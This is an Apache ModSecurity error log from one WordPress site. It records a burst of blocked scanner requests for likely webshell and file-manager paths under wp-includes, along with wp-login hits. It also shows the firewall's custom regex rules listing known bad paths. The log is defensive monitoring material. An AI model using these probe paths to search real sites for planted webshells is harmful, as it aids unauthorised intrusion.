[Tue Apr 21 01:58:05.929544 2026] [:error] [pid 11350:tid 11373] [client 54.37.252.212:51612] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeZpLf4EoMBgOJuJnT0yCAAAAA4"]
[Tue Apr 21 02:16:47.863135 2026] [:error] [pid 11350:tid 11361] [client 91.230.225.99:54009] [client 91.230.225.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeZtj_4EoMBgOJuJnT0_LAAAAAI"]
[Tue Apr 21 02:16:54.545813 2026] [:error] [pid 42014:tid 42028] [client 91.230.225.93:55767] [client 91.230.225.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeZtlsek-00-ZI0f1Nq5IAAAAQw"]
[Tue Apr 21 02:17:03.844221 2026] [:error] [pid 11441:tid 11459] [client 185.192.71.136:54185] [client 185.192.71.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeZtn8ixByFUvmh319DvWAAAANA"]
[Tue Apr 21 02:17:11.019741 2026] [:error] [pid 11350:tid 11381] [client 185.192.71.143:35267] [client 185.192.71.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeZtp_4EoMBgOJuJnT0_lgAAABY"]
[Tue Apr 21 02:17:21.197668 2026] [:error] [pid 11350:tid 11366] [client 185.92.25.24:36081] [client 185.92.25.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeZtsf4EoMBgOJuJnT0_yQAAAAc"]
[Tue Apr 21 02:17:26.195839 2026] [:error] [pid 11352:tid 11425] [client 185.192.71.122:31189] [client 185.192.71.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeZttml10mhMSfJ7ir8MPAAAAIs"]
[Tue Apr 21 02:17:27.963814 2026] [:error] [pid 11494:tid 11498] [client 91.230.225.99:54397] [client 91.230.225.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeZtt8gko5iFiE8YoyRLCwAAAYI"]
[Tue Apr 21 02:17:29.293332 2026] [:error] [pid 11441:tid 11449] [client 185.192.71.123:64181] [client 185.192.71.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeZtucixByFUvmh319DvmAAAAMY"]
[Tue Apr 21 02:17:30.094528 2026] [:error] [pid 11494:tid 11519] [client 185.92.25.25:23535] [client 185.92.25.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeZtusgko5iFiE8YoyRLDgAAAZc"]
[Tue Apr 21 02:17:31.259105 2026] [:error] [pid 11494:tid 11508] [client 185.92.25.24:64713] [client 185.92.25.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aeZtu8gko5iFiE8YoyRLDwAAAYw"]
[Tue Apr 21 02:17:33.761341 2026] [:error] [pid 11351:tid 11400] [client 185.192.71.135:32293] [client 185.192.71.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aeZtvQN8Z1-vktaI_tO3jwAAAE0"]
[Tue Apr 21 02:17:37.239447 2026] [:error] [pid 42014:tid 42030] [client 185.192.71.138:54013] [client 185.192.71.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aeZtwcek-00-ZI0f1Nq5VQAAAQ4"]
[Tue Apr 21 02:17:41.381918 2026] [:error] [pid 11494:tid 11509] [client 185.92.25.19:64747] [client 185.92.25.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aeZtxcgko5iFiE8YoyRLIAAAAY0"]
[Tue Apr 21 02:17:44.435970 2026] [:error] [pid 11351:tid 11391] [client 91.230.225.88:35261] [client 91.230.225.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aeZtyAN8Z1-vktaI_tO3lgAAAEQ"]
[Tue Apr 21 02:17:47.525379 2026] [:error] [pid 6928:tid 6930] [client 91.230.225.93:34657] [client 91.230.225.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aeZtyx3y7MHq1iB0qYr3PwAAAUA"]
[Tue Apr 21 02:17:58.271601 2026] [:error] [pid 11351:tid 11400] [client 185.92.25.31:24143] [client 185.92.25.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aeZt1gN8Z1-vktaI_tO3xQAAAE0"]
[Tue Apr 21 02:18:01.111905 2026] [:error] [pid 11441:tid 11462] [client 185.92.25.19:24433] [client 185.92.25.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aeZt2cixByFUvmh319DvtgAAANM"]
[Tue Apr 21 02:18:04.348279 2026] [:error] [pid 11351:tid 11409] [client 185.92.25.122:52161] [client 185.92.25.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aeZt3AN8Z1-vktaI_tO32AAAAFY"]
[Tue Apr 21 02:18:07.036909 2026] [:error] [pid 11350:tid 11365] [client 185.192.71.132:58757] [client 185.192.71.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aeZt3_4EoMBgOJuJnT1ATwAAAAY"]
[Tue Apr 21 02:18:15.362408 2026] [:error] [pid 6928:tid 6938] [client 91.230.225.92:34117] [client 91.230.225.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aeZt5x3y7MHq1iB0qYr3UwAAAUg"]
[Tue Apr 21 02:18:18.372958 2026] [:error] [pid 11494:tid 11500] [client 185.92.25.20:45317] [client 185.92.25.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aeZt6sgko5iFiE8YoyRLYAAAAYQ"]
[Tue Apr 21 02:18:21.459387 2026] [:error] [pid 42014:tid 42034] [client 185.92.25.33:30797] [client 185.92.25.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aeZt7cek-00-ZI0f1Nq5hgAAARI"]
[Tue Apr 21 02:18:22.427840 2026] [:error] [pid 11351:tid 11401] [client 185.92.25.33:59695] [client 185.92.25.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aeZt7gN8Z1-vktaI_tO3_wAAAE4"]
[Tue Apr 21 02:18:23.588829 2026] [:error] [pid 11441:tid 11445] [client 185.192.71.129:46147] [client 185.192.71.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aeZt78ixByFUvmh319Dv5wAAAMI"]
[Tue Apr 21 02:18:30.607420 2026] [:error] [pid 11351:tid 11404] [client 185.92.25.23:29797] [client 185.92.25.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aeZt9gN8Z1-vktaI_tO4GQAAAFE"]
[Tue Apr 21 02:18:31.707682 2026] [:error] [pid 11441:tid 11457] [client 91.230.225.99:38559] [client 91.230.225.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aeZt98ixByFUvmh319Dv8QAAAM4"]
[Tue Apr 21 02:18:32.654575 2026] [:error] [pid 6928:tid 6943] [client 185.92.25.29:34403] [client 185.92.25.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aeZt-B3y7MHq1iB0qYr3XwAAAU0"]
[Tue Apr 21 02:18:46.718456 2026] [:error] [pid 11352:tid 11429] [client 185.192.71.123:22041] [client 185.192.71.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aeZuBml10mhMSfJ7ir8MgwAAAI8"]
[Tue Apr 21 02:18:51.907406 2026] [:error] [pid 11494:tid 11503] [client 185.92.25.29:44407] [client 185.92.25.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.92.25.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aeZuC8gko5iFiE8YoyRLpwAAAYc"]
[Tue Apr 21 02:19:12.600815 2026] [:error] [pid 11494:tid 11506] [client 185.92.25.29:44407] [client 185.92.25.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aeZuIMgko5iFiE8YoyRL2AAAAYo"]
[Tue Apr 21 02:19:17.684335 2026] [:error] [pid 11494:tid 11504] [client 185.92.25.19:32729] [client 185.92.25.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.92.25.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aeZuJcgko5iFiE8YoyRL8wAAAYg"]
[Tue Apr 21 02:19:21.377569 2026] [:error] [pid 11494:tid 11502] [client 185.92.25.19:32729] [client 185.92.25.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/item.php"] [unique_id "aeZuKcgko5iFiE8YoyRL-AAAAYY"]
[Tue Apr 21 02:19:35.335080 2026] [:error] [pid 11441:tid 11444] [client 185.92.25.25:65117] [client 185.92.25.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aeZuN8ixByFUvmh319DwnQAAAME"]
[Tue Apr 21 02:19:47.842269 2026] [:error] [pid 11350:tid 11360] [client 91.230.225.92:42175] [client 91.230.225.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aeZuQ_4EoMBgOJuJnT1BPgAAAAE"]
[Tue Apr 21 02:19:52.343062 2026] [:error] [pid 11351:tid 11402] [client 185.92.25.30:45929] [client 185.92.25.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aeZuSAN8Z1-vktaI_tO5HwAAAE8"]
[Tue Apr 21 02:19:56.765713 2026] [:error] [pid 11351:tid 11402] [client 185.192.71.144:55213] [client 185.192.71.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.144, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aeZuTAN8Z1-vktaI_tO5LgAAAE8"]
[Tue Apr 21 02:19:58.554792 2026] [:error] [pid 11351:tid 11409] [client 185.192.71.144:55213] [client 185.192.71.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aeZuTgN8Z1-vktaI_tO5MQAAAFY"]
[Tue Apr 21 02:20:25.308728 2026] [:error] [pid 11350:tid 11374] [client 185.192.71.122:51041] [client 185.192.71.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aeZuaf4EoMBgOJuJnT1BfwAAAA8"]
[Tue Apr 21 02:20:30.343096 2026] [:error] [pid 11350:tid 11373] [client 185.192.71.130:54197] [client 185.192.71.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.130, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aeZubv4EoMBgOJuJnT1BhgAAAA4"]
[Tue Apr 21 02:20:37.745947 2026] [:error] [pid 11350:tid 11364] [client 185.192.71.130:54197] [client 185.192.71.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aeZudf4EoMBgOJuJnT1BpQAAAAU"]
[Tue Apr 21 02:20:40.663186 2026] [:error] [pid 11352:tid 11431] [client 185.192.71.122:20265] [client 185.192.71.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aeZueGl10mhMSfJ7ir8MtgAAAJE"]
[Tue Apr 21 02:20:45.452366 2026] [:error] [pid 11351:tid 11407] [client 185.92.25.20:60895] [client 185.92.25.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aeZufQN8Z1-vktaI_tO5yQAAAFQ"]
[Tue Apr 21 02:20:52.085495 2026] [:error] [pid 11351:tid 11388] [client 91.230.225.89:64591] [client 91.230.225.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aeZuhAN8Z1-vktaI_tO53QAAAEE"]
[Tue Apr 21 02:20:53.188086 2026] [:error] [pid 11494:tid 11517] [client 185.92.25.27:28247] [client 185.92.25.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aeZuhcgko5iFiE8YoyRMlwAAAZU"]
[Tue Apr 21 02:21:01.915413 2026] [:error] [pid 11441:tid 11461] [client 185.192.71.130:28925] [client 185.192.71.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aeZujcixByFUvmh319DxRAAAANI"]
[Tue Apr 21 02:21:03.198963 2026] [:error] [pid 11441:tid 11448] [client 185.192.71.132:61869] [client 185.192.71.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aeZuj8ixByFUvmh319DxRwAAAMU"]
[Tue Apr 21 02:21:09.917127 2026] [:error] [pid 11351:tid 11390] [client 91.230.225.92:52369] [client 91.230.225.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aeZulQN8Z1-vktaI_tO6DQAAAEM"]
[Tue Apr 21 02:21:16.073938 2026] [:error] [pid 11494:tid 11520] [client 185.92.25.26:24209] [client 185.92.25.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aeZunMgko5iFiE8YoyRMugAAAZg"]
[Tue Apr 21 02:21:20.854076 2026] [:error] [pid 11351:tid 11406] [client 185.192.71.136:46135] [client 185.192.71.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/click.php"] [unique_id "aeZuoAN8Z1-vktaI_tO6KwAAAFM"]
[Tue Apr 21 02:21:27.318460 2026] [:error] [pid 11441:tid 11466] [client 185.92.25.31:41669] [client 185.92.25.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aeZup8ixByFUvmh319DxZQAAANc"]
